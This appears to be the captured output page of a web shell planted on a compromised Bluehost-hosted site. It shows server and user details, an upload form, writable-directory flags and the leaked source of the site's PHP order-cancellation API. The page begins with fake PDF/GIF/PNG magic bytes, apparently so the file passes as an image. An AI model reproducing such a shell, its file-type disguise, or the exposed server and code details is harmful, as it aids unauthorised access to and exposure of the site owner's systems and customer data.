%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/cancel_order.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$order_id = intval(
    $_REQUEST['order_id']
    ?? $json['order_id']
    ?? 0
);

$reason = trim(
    $_REQUEST['reason']
    ?? $json['reason']
    ?? ''
);

$details = trim(
    $_REQUEST['details']
    ?? $json['details']
    ?? ''
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if ($order_id <= 0 || empty($reason))
{
    response(false, "Required fields missing", [

        "required_fields" => [
            "order_id",
            "reason"
        ],

        "available_reasons" => [

            "I ordered by mistake",
            "I found a better price",
            "My delivery address is incorrect",
            "I no longer need the product",
            "Delay in delivery",
            "Other"
        ],

        "example_url" =>
            BASE_URL .
            "api/cancel_order.php?order_id=1&reason=I ordered by mistake",

        "sample_request" => [

            "order_id" => 1,
            "reason" => "I ordered by mistake",
            "details" => "Wrong order placed"
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Check Order
|--------------------------------------------------------------------------
*/

$orderQry = mysqli_query(
    $conn,
    "SELECT *
     FROM orders
     WHERE id='$order_id'
     AND user_id='$user_id'
     LIMIT 1"
);

if (mysqli_num_rows($orderQry) == 0)
{
    response(false, "Order Not Found");
}

$order = mysqli_fetch_assoc($orderQry);

/*
|--------------------------------------------------------------------------
| Already Cancelled
|--------------------------------------------------------------------------
*/

if ($order['order_status'] == 'Cancelled')
{
    response(false, "Order Already Cancelled");
}

/*
|--------------------------------------------------------------------------
| Delivered Order Cannot Be Cancelled
|--------------------------------------------------------------------------
*/

if ($order['order_status'] == 'Delivered')
{
    response(false, "Delivered Orders Cannot Be Cancelled");
}

/*
|--------------------------------------------------------------------------
| Update Order
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE orders
     SET
        order_status='Cancelled',
        cancel_reason='" . mysqli_real_escape_string($conn,$reason) . "',
        cancel_details='" . mysqli_real_escape_string($conn,$details) . "'
     WHERE id='$order_id'"
);

/*
|--------------------------------------------------------------------------
| Get Updated Order
|--------------------------------------------------------------------------
*/

$updatedQry = mysqli_query(
    $conn,
    "SELECT *
     FROM orders
     WHERE id='$order_id'
     LIMIT 1"
);

$updatedOrder = mysqli_fetch_assoc($updatedQry);

/*
|--------------------------------------------------------------------------
| Response
|--------------------------------------------------------------------------
*/

response(true, "Order Cancelled Successfully", [

    "order_id" =>
        $updatedOrder['id'],

    "order_number" =>
        $updatedOrder['unique_order_id'],

    "order_status" =>
        $updatedOrder['order_status'],

    "cancel_reason" =>
        $updatedOrder['cancel_reason'],

    "cancel_details" =>
        $updatedOrder['cancel_details'],

    "message" =>
        "Your order was cancelled successfully.",

    "next_api" => [

        "order_details_api" =>
            BASE_URL .
            "api/order_details.php?order_id=" .
            $updatedOrder['id'],

        "my_orders_api" =>
            BASE_URL .
            "api/my_orders.php?status=cancelled"
    ]
]);

$conn->close();

?>

VaKeR 2022